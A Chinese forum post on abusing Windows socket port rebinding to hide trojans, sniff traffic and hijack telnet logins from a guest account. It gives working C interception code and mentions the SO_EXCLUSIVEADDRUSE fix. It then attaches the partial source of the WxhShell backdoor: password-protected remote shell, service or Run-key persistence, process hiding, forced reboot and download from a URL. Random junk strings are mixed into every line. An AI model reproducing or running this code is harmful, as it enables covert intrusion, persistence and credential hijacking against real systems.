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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D'Y=}I)8Dn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wgFAPZr  
1vUW$)?X  
  saddr.sin_family = AF_INET; 1`v$R0 `!  
U2HAIV8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *e%(J$t  
i[ 40p!~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C{2y*sx  
+p):   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @8"cT-  
}KFM8CbS  
  这意味着什么?意味着可以进行如下的攻击: cd:VFjT  
qfa[KD)!aB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z\r29IRh  
[&K"OQ^\2h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,;~@t:!c  
qY$]^gS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G[ gfD\  
U~s-'-C /  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W $EAo+V  
HrH! 'bd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lu9`(+  
"d c- !  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ah Rvyj  
`&5_~4T7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 . E? a  
#s3R4@{  
  #include k5o{mWI b  
  #include  [kL`'yi  
  #include z\+Ug9Of  
  #include    uE-|]QQo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   prO ~g  
  int main() lCiRvh1K  
  { `!lQd}W  
  WORD wVersionRequested; 3fdqFJ O  
  DWORD ret; H.#zbKj  
  WSADATA wsaData; 0+6=ag%  
  BOOL val; `IH*~d]  
  SOCKADDR_IN saddr; 3eR c>^wh  
  SOCKADDR_IN scaddr; iKA}??5e  
  int err; @ *n oma  
  SOCKET s; E5 uk<e_  
  SOCKET sc; ZfnJ&H'  
  int caddsize; 't'2z  
  HANDLE mt; QW= X#yrDO  
  DWORD tid;   H-jxH,mJmW  
  wVersionRequested = MAKEWORD( 2, 2 ); qTI_'q  
  err = WSAStartup( wVersionRequested, &wsaData ); %z"n}|%!  
  if ( err != 0 ) { UaXWHCm`  
  printf("error!WSAStartup failed!\n"); L-VisZ-FK  
  return -1; _FP'SVa}D  
  } tqzr +  
  saddr.sin_family = AF_INET; ?9Sc KN  
   F`M`c%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $\q}A:  
i9v|*ZM"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e~PAi8B5  
  saddr.sin_port = htons(23); As>P(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yge}P:d9  
  { 9"f  
  printf("error!socket failed!\n"); /5m~t.Z9M  
  return -1; (\H^ KEy  
  } e|eWV{Dsz  
  val = TRUE; pP^5y{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X.[8L^ldh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )M_|r2dDq3  
  { N7-LgP  
  printf("error!setsockopt failed!\n"); %:yVjb,Yf  
  return -1; C~R,,  
  } ?b xa k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M"5S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _bSn YhS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `c?8i  
li9>zjz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !'*1;OQ  
  { QSyPtjg]  
  ret=GetLastError(); _zDf8hy  
  printf("error!bind failed!\n"); %a|m[6+O  
  return -1; $PFE>=nM  
  } zj 2l&)N  
  listen(s,2); G3j'A{  
  while(1) @P/6NMjZ^  
  { "=!sZO?3  
  caddsize = sizeof(scaddr); La r9}nx0  
  //接受连接请求 v)<|@TD)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F.-:4m(Z  
  if(sc!=INVALID_SOCKET) PG@6*E  
  { }NKnV3G/Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y7<(_p7  
  if(mt==NULL) OPC8fX5.  
  { eu0j jeB  
  printf("Thread Creat Failed!\n"); 'M,O(utGv  
  break; qv3% v3\4  
  } U &RZx&W  
  } gbziEjRe  
  CloseHandle(mt); 2#R8}\  
  } k1~? }+<e  
  closesocket(s); Zw_'u=r >  
  WSACleanup(); sE!$3|Q  
  return 0; F<J`1 :  
  }    }A&I@2d  
  DWORD WINAPI ClientThread(LPVOID lpParam) T+41,  
  { yZc#@R[0  
  SOCKET ss = (SOCKET)lpParam; h6Cqc}P  
  SOCKET sc; uMX\Y;N  
  unsigned char buf[4096]; a;=IOQ  
  SOCKADDR_IN saddr; 6@FGt3y  
  long num; U&0 RQ:B  
  DWORD val; 6UM1>xq9A  
  DWORD ret; pyp0SGCM:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f0 kz:sZ9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xM![  
  saddr.sin_family = AF_INET; ^/~C\ (  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #~[{*[B+  
  saddr.sin_port = htons(23); A+hA'0isF@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `o?PLE;)p  
  { RaOLy \  
  printf("error!socket failed!\n"); A~H@0>1  
  return -1; #'BPW<Ob  
  } {Mc;B9W  
  val = 100; !Y10UmMu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2^y*O  
  { p#6tKY;N  
  ret = GetLastError(); =3EjD;2  
  return -1; vF)eo"_s*  
  } i':a|#e>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i?f;C_w  
  { |q c<C&O  
  ret = GetLastError(); TT={>R[B  
  return -1; lYS*{i1^ '  
  } t&~*!w!+jH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9ePom'1f1  
  { J~AmRo0!k  
  printf("error!socket connect failed!\n"); 9# #(B  
  closesocket(sc); 5]K2to)>`  
  closesocket(ss); M2I*_pI  
  return -1; ]I\9S{?  
  } vbfQy2q  
  while(1) 3sp-0tUE  
  { . f!dH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rTqGtmulG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %DM0Z8P$B-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tac\Ki?  
  num = recv(ss,buf,4096,0); ~SS3gLv  
  if(num>0) 9 dK`  
  send(sc,buf,num,0); KbMan~Pb6  
  else if(num==0) lN x7$z`  
  break; Hyi'z1  
  num = recv(sc,buf,4096,0); d>V#?1$h  
  if(num>0) &0]5zQ  
  send(ss,buf,num,0); PJ\k|  
  else if(num==0) ~_ u3_d.  
  break; WEtPIHruyt  
  } ;9LOeH?  
  closesocket(ss); qG +PqK;  
  closesocket(sc); FH%M5RD  
  return 0 ; ,&L}^Up  
  } NryOdt tI  
tWTHyL  
G}g;<,g~  
========================================================== -X!<$<\y;  
Eu'E;*- f  
下边附上一个代码,,WXhSHELL vj%"x/TP  
6qFzo1LO  
========================================================== ^tGAJ_b 79  
<Af&Q0J  
#include "stdafx.h" lQ^"-zO4  
~5|R`%  
#include <stdio.h> (bI/s'?K  
#include <string.h> |a7Kn/[`,  
#include <windows.h> Es}`S Ie/  
#include <winsock2.h> GBS+ 4xL|  
#include <winsvc.h> Q1kM 4Up  
#include <urlmon.h> au=@]n#<(  
X*7VDt=  
#pragma comment (lib, "Ws2_32.lib") nvQX)Xf  
#pragma comment (lib, "urlmon.lib") wU'+4N".  
cY!Pv  
#define MAX_USER   100 // 最大客户端连接数 FU*q9s`  
#define BUF_SOCK   200 // sock buffer @||nd,i`n~  
#define KEY_BUFF   255 // 输入 buffer _ j'm2BA O  
ib> ~3s;  
#define REBOOT     0   // 重启 M).CyY;bm  
#define SHUTDOWN   1   // 关机 nZYO}bv\  
I4qS8~+#  
#define DEF_PORT   5000 // 监听端口 (8ct'Q;  
WyB^b-QmDh  
#define REG_LEN     16   // 注册表键长度 1)97AkN(O  
#define SVC_LEN     80   // NT服务名长度 iSOyp\E|  
_'y`hKeI[  
// 从dll定义API 7nxH>.,Q>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yfqe6-8U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^XYK }J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o+k*ia~Fa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <7Yh<(R e^  
VS`{k^^  
// wxhshell配置信息 k=p[Mlic/  
struct WSCFG { Z"Q9^;0%  
  int ws_port;         // 监听端口 x@)cj  
  char ws_passstr[REG_LEN]; // 口令 zFYzus`>  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z{ 9Io/  
  char ws_regname[REG_LEN]; // 注册表键名 yZoJD{'?Sw  
  char ws_svcname[REG_LEN]; // 服务名 )3|a_   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iM1E**WCtv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3H>\hZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OM7AK B=S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &+hk5?c /  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c% wztP;L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e*I92  
z wwJyy%/  
}; 5L7 nEia'  
XXwo(trs~=  
// default Wxhshell configuration mL#$8wUdt{  
struct WSCFG wscfg={DEF_PORT, TZg1,Z  
    "xuhuanlingzhe", I+3=|Ve f  
    1, F_/ra?WVH  
    "Wxhshell", o7PS1qcya<  
    "Wxhshell", ;jPiD`Kyv  
            "WxhShell Service", ,j(E>g3  
    "Wrsky Windows CmdShell Service", V4n;N  
    "Please Input Your Password: ", CZy3]O"qW  
  1, M,oZ_tY%  
  "http://www.wrsky.com/wxhshell.exe", -i91nMi]  
  "Wxhshell.exe" Y}C|4"V  
    }; @S5HMJ2=  
*].qm g%  
// 消息定义模块 j]-_kjt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P_p\OK*l]o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hc9 ON&L\>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rAqS;@]0  
char *msg_ws_ext="\n\rExit."; QaA?UzB  
char *msg_ws_end="\n\rQuit."; 5xj8^W^G9  
char *msg_ws_boot="\n\rReboot..."; ?V~vP%1  
char *msg_ws_poff="\n\rShutdown..."; +RiI5.$=Z  
char *msg_ws_down="\n\rSave to "; $i!r> .Jo  
S$40nM  
char *msg_ws_err="\n\rErr!"; 7dE.\#6r  
char *msg_ws_ok="\n\rOK!"; ![I|hB  
Dwr"-  
char ExeFile[MAX_PATH]; OP=-fX|*Q  
int nUser = 0; f+)LVT8p  
HANDLE handles[MAX_USER]; nq+6ipx  
int OsIsNt; =E(ed,gH8  
oSYbx:2wo  
SERVICE_STATUS       serviceStatus; JIYzk]Tj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 68<W6z  
_sL;E<)y(  
// 函数声明 U(OkTJxv+  
int Install(void); !4Sd^"  
int Uninstall(void); Ty7 `&  
int DownloadFile(char *sURL, SOCKET wsh); FKhgUnw  
int Boot(int flag); @FF{lK?[  
void HideProc(void); ofI,[z3  
int GetOsVer(void); sint":1FC  
int Wxhshell(SOCKET wsl); 'w<^4/L Q  
void TalkWithClient(void *cs); ^LXsU] R  
int CmdShell(SOCKET sock); 3Tw9Uc\vT  
int StartFromService(void); cT&lkS  
int StartWxhshell(LPSTR lpCmdLine); O69TU[Vn  
~*^o[~x]\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c@nh>G:y{&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q]Xu #:X  
6p3cMJ'8y  
// 数据结构和表定义 XW^Pz (  
SERVICE_TABLE_ENTRY DispatchTable[] = i],~tT|P  
{ F,K))325  
{wscfg.ws_svcname, NTServiceMain}, q['3M<q  
{NULL, NULL} }5 $le]  
}; Yn?Xo_Y  
U.I 7p  
// 自我安装 4v{Ye,2  
int Install(void) _)YB*z5  
{ U17=/E  
  char svExeFile[MAX_PATH]; J*6B~)Sp@  
  HKEY key; XgeUS;qtta  
  strcpy(svExeFile,ExeFile); 7xWJw  
`fG<iBD  
// 如果是win9x系统,修改注册表设为自启动 :2wT)wz  
if(!OsIsNt) { *1:kIi7_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7;r3Bxa Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8$IUit h  
  RegCloseKey(key); Y~#F\v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;'[?H0Jw'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y~M 6  
  RegCloseKey(key); +Ll29Buyi  
  return 0; "WbKhE  
    } 'L{pS-+6  
  } Ri::Ek3qu  
} OI6m>XH?  
else { t!B,%,Dp  
J'WOqAnPZ  
// 如果是NT以上系统,安装为系统服务 1r*@1y<0"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VuK>lY &  
if (schSCManager!=0) uI9+@oV  
{ N_+D#Z.g  
  SC_HANDLE schService = CreateService CEzdH!nP  
  (  s%5XBI  
  schSCManager, ,u- 9e4  
  wscfg.ws_svcname, ]'hel#L;l  
  wscfg.ws_svcdisp, mGmZ}H'{  
  SERVICE_ALL_ACCESS, "W9z>ezp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^![7X'!;pt  
  SERVICE_AUTO_START, ~~t >;  
  SERVICE_ERROR_NORMAL, ]xJ. OUJy  
  svExeFile, /,$V/q+  
  NULL, %*gg6Q  
  NULL, |'x"+x   
  NULL, muFWFq&yP  
  NULL, BmYX8j]  
  NULL }%42Ty  
  ); *#?9@0b@  
  if (schService!=0) EW `WFBjj  
  { -0NkAQrg  
  CloseServiceHandle(schService); [I<J6=  
  CloseServiceHandle(schSCManager); wCj)@3F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hwi_=-SL  
  strcat(svExeFile,wscfg.ws_svcname); pm[i#V<v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 66_=bd(9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |X6R 2I  
  RegCloseKey(key); Rz*GRe  
  return 0; 6 lEv<)cC  
    } vuJEPn%  
  } AOV{@ b(  
  CloseServiceHandle(schSCManager); _?I*:: I  
} 34_ V&8  
} 7lwFxP5QT  
) <w`:wD  
return 1; U5?QneK  
} t23W=U  
^L.'At  
// 自我卸载 hC]:+.Q+  
int Uninstall(void) ?k^m|Z  
{ :}gEt?TUhs  
  HKEY key; ZcTjOy?  
Ahr  
if(!OsIsNt) { h b}QtQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GE !p  
  RegDeleteValue(key,wscfg.ws_regname); :<5jlpV(  
  RegCloseKey(key); <HpUP!q8v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ufor>  
  RegDeleteValue(key,wscfg.ws_regname); t"MrrK>T  
  RegCloseKey(key); P1Iy >%3  
  return 0; 'Ddzlip  
  } hyhm{RC?[  
} ~Ra8(KocD  
} :wUi&xw  
else { 8 ~Pdr]5  
D$TpT X\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O+=}x]q*y  
if (schSCManager!=0) z('t#J!b  
{ 'UuHyC2Ha3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IQ xi@7%&  
  if (schService!=0) D )Jac@,0  
  { <P]%{msGH  
  if(DeleteService(schService)!=0) { O+[s4]  
  CloseServiceHandle(schService); 4#ikdjB;  
  CloseServiceHandle(schSCManager); }` <D KO/  
  return 0; )YwLj&e4tf  
  } oP:R1<  
  CloseServiceHandle(schService); QDb8W*&<  
  } Re*~C:  
  CloseServiceHandle(schSCManager); 4 DV,f2:R4  
} K7i@7  
} ]U }B~Y  
KUHkjA_  
return 1; Dg}EI^ d  
} $IdU  
eIhfhz?Q;#  
// 从指定url下载文件 "/3YV%to-#  
int DownloadFile(char *sURL, SOCKET wsh) {)Shc;Qh  
{  um2}XI  
  HRESULT hr; HLc3KYIk  
char seps[]= "/";  <$K7f  
char *token; f=8{cK0j  
char *file; 4VC8#x1  
char myURL[MAX_PATH]; q_"w,28  
char myFILE[MAX_PATH]; W?[ C au-  
l?Ls=J*  
strcpy(myURL,sURL); E, oR.B  
  token=strtok(myURL,seps); ,VzbKx,  
  while(token!=NULL) gebL6oc%  
  { 0E{DO<~  
    file=token; s'Qmr s a  
  token=strtok(NULL,seps); :H:+XIgoR  
  } -e0?1.A$  
WKwYSbs(  
GetCurrentDirectory(MAX_PATH,myFILE); 3|EAOoWnK  
strcat(myFILE, "\\"); NR%_&%qQA  
strcat(myFILE, file); S/YHT)0x[  
  send(wsh,myFILE,strlen(myFILE),0); 2NB $(4/  
send(wsh,"...",3,0); ;w._/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b8Hz l!zO  
  if(hr==S_OK) 53^3. .E|  
return 0; 7)FYAk$@  
else joNV4v"=`  
return 1; >Qg-dJt[  
D/,(xWaT  
} cu)B!#<!&  
1hc`s+N  
// 系统电源模块 O.-A)S@  
int Boot(int flag) kX)*:~*  
{ E[BM0.#bZ  
  HANDLE hToken; Q~KzcB<  
  TOKEN_PRIVILEGES tkp; } na@gn  
S5YEz XG  
  if(OsIsNt) { iI &z5Q2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XdnpL$0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E*s _Y  
    tkp.PrivilegeCount = 1; G 6xN R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b7gN|Hw5 H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b.9[Vf_G  
if(flag==REBOOT) { HJd{j,M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?>gr9w\  
  return 0; NH*"AE;  
} 7Rc>LI* '  
else { 6:Y2z!MLO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D'^UZZlI^I  
  return 0; {xICR ~,*  
} C]h_co2eI  
  } :lK8i{o  
  else { +G,_|C2J  
if(flag==REBOOT) { %:sP#BQM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q:'r p  
  return 0; BH}M]<5  
} tGSX TF}G  
else { A.RG8"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `\/\C[Gg  
  return 0; $FZcvo3@*S  
} B$7Cjv  
} y k\/Cf  
Fzn !  
return 1; 0<^Q j.(9  
} Vo|[Z)MO`  
~ftR:F|9  
// win9x进程隐藏模块 ]3Jb$Q@  
void HideProc(void) C^:{y  
{ U r8JG&,  
k?1e + \  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y'z9Ya  
  if ( hKernel != NULL ) _94R8?\_V7  
  { w$ ""])o,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $4^h>x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }%^3  
    FreeLibrary(hKernel); c6iFha;db  
  } ^g.H JQ'vF  
[@]i_L[  
return; R0G!5>1i  
} qca=a }  
Pu'NSNT  
// 获取操作系统版本 K@{R?j/+  
int GetOsVer(void) xqauSW  
{ (UTA3Db  
  OSVERSIONINFO winfo; WmRu3O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xo6zeLHO  
  GetVersionEx(&winfo); -U\s.FI.AR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $+,kibk*R  
  return 1; R3.8Dr 0f  
  else 42:,*4t(  
  return 0; RVF<l?EI4R  
} 6_:KFqc W  
w{4#Q[  
// 客户端句柄模块 iRM ?_|  
int Wxhshell(SOCKET wsl) &v feBth  
{ ?=HoU3  
  SOCKET wsh; J0o,ZH9  
  struct sockaddr_in client; |D[LU[<C  
  DWORD myID; t@iw&> 8z  
=4OV }z=I  
  while(nUser<MAX_USER) }C$D-fH8sW  
{ nj-LG!"a  
  int nSize=sizeof(client); 1KjzKFnb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q@"!uB.e  
  if(wsh==INVALID_SOCKET) return 1; r?pN-x$M=  
3-)R'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gf^y3F[\  
if(handles[nUser]==0) c(!pcB8  
  closesocket(wsh); 6QNZ/Ox:  
else _T;Kn'Gz(&  
  nUser++; Zm+GH^f'  
  } 9S<V5$}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z@AN0?,`~o  
m;qqjzy  
  return 0; WtXf~ :R  
} |EY1$qItid  
&y-z[GR[{  
// 关闭 socket SPauno <M  
void CloseIt(SOCKET wsh) q#"lnc<S  
{ F'@ 9kdp  
closesocket(wsh); j@4]0o  
nUser--; mILCC} Kt  
ExitThread(0); f?(g5o*2  
} is^5TL%@  
4.>y[_vu  
// 客户端请求句柄 7dOpJjv?)  
void TalkWithClient(void *cs) lbh7`xCR  
{ /XdLdA!v  
&3itBQF  
  SOCKET wsh=(SOCKET)cs; =p dLh  
  char pwd[SVC_LEN]; 474 oVdGx  
  char cmd[KEY_BUFF]; 1k{H,p7  
char chr[1]; ?/(*cA  
int i,j; *T.V5FB0S  
=6=l.qyYK  
  while (nUser < MAX_USER) { hW\'EJ  
iEbW[sX[ 4  
if(wscfg.ws_passstr) { 7Q~$&G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3~LNz8Z*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Dw,LB>Eq,  
  //ZeroMemory(pwd,KEY_BUFF); Ty*+?#`  
      i=0; n} ]gAX  
  while(i<SVC_LEN) { t$lJgj(  
3(:?Z-iKe  
  // 设置超时 4Vd[cRh2  
  fd_set FdRead; gyU=v{].  
  struct timeval TimeOut; +KOhDtLMG  
  FD_ZERO(&FdRead); X9rao n  
  FD_SET(wsh,&FdRead); KXBTJ&  
  TimeOut.tv_sec=8; g3Ul'QJ  
  TimeOut.tv_usec=0; 7_eV.'h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zXx A"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qVvnl  
-WGlOpg0;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h|<;:o?yh  
  pwd=chr[0]; `6PBV+]Vm3  
  if(chr[0]==0xd || chr[0]==0xa) { 4I.)>+8V  
  pwd=0; \@zoM:[sN  
  break; ]jR-<l8I-  
  } L\"eE'A  
  i++; {#&D=7LP  
    } JtF)jRB0,  
_j~y;R)  
  // 如果是非法用户,关闭 socket cVSns\QO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GbvbGEG  
} $-(lp0\*  
_6L'}X$)N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7}(YCZny5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =r&i`L{]  
X3y28 %R   
while(1) { !"ydl2  
CM t$ )  
  ZeroMemory(cmd,KEY_BUFF); z*o2jz?t4  
bvT$/ (7  
      // 自动支持客户端 telnet标准   `u8(qGg7GF  
  j=0; r'@7aT&_  
  while(j<KEY_BUFF) { bKh}Y`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ft!D2M  
  cmd[j]=chr[0]; J?jxD/9Yb  
  if(chr[0]==0xa || chr[0]==0xd) { Iomx"y]9  
  cmd[j]=0; oMNBK/X_  
  break; {<cgeH  
  } GZmfE`  
  j++; +hs:W'`%  
    } +KIBbXF7  
_9S"rH[  
  // 下载文件 -@~4:o  
  if(strstr(cmd,"http://")) { ,<TJh[TzC6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #.LI `nYA  
  if(DownloadFile(cmd,wsh)) Ol;"}3*Z*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $]a*ZHd;2&  
  else uTy00`1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C @P$RVS  
  } #=Whh 9-d  
  else { =n;LP#(h?  
$4]4G=o  
    switch(cmd[0]) { %xC}#RDf  
  6f+@@=Xc  
  // 帮助 !)`m mr  
  case '?': { i3>_E <"9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >=3oe.$)  
    break; w; :{  
  } *QoQ$alHH  
  // 安装 ~Yre(8+M  
  case 'i': { \3x+Z!  
    if(Install()) Seq ^o=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p;mV?B?oAQ  
    else BNixp[Hc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D$`$4mX@hP  
    break; _znpzr9H  
    } O1oh,~W  
  // 卸载 t*-_MG  
  case 'r': { 5K =>x<  
    if(Uninstall()) #z c$cr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]hbrzv o  
    else WHRBYq_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 02^Nf7DMR  
    break; ;r XZ?"  
    } uzS;&-nA  
  // 显示 wxhshell 所在路径 _iu^VK,}  
  case 'p': { k?Njge6@  
    char svExeFile[MAX_PATH]; f2ck=3  
    strcpy(svExeFile,"\n\r"); m-Se-aF  
      strcat(svExeFile,ExeFile); bc2S?u{  
        send(wsh,svExeFile,strlen(svExeFile),0); ) gxN' z  
    break; 1.nYT*  
    } 5&]a8p{  
  // 重启 ?VyiR40-Cx  
  case 'b': { T5_rPz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _t6 .9CXl  
    if(Boot(REBOOT)) z%$M IC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S AKIFNE  
    else { 98CS|NEe  
    closesocket(wsh); c3O&sa V!  
    ExitThread(0); G6X5`eLQ  
    } i,l$1g-i  
    break; :=K+~?  
    } gbu)bqu2x  
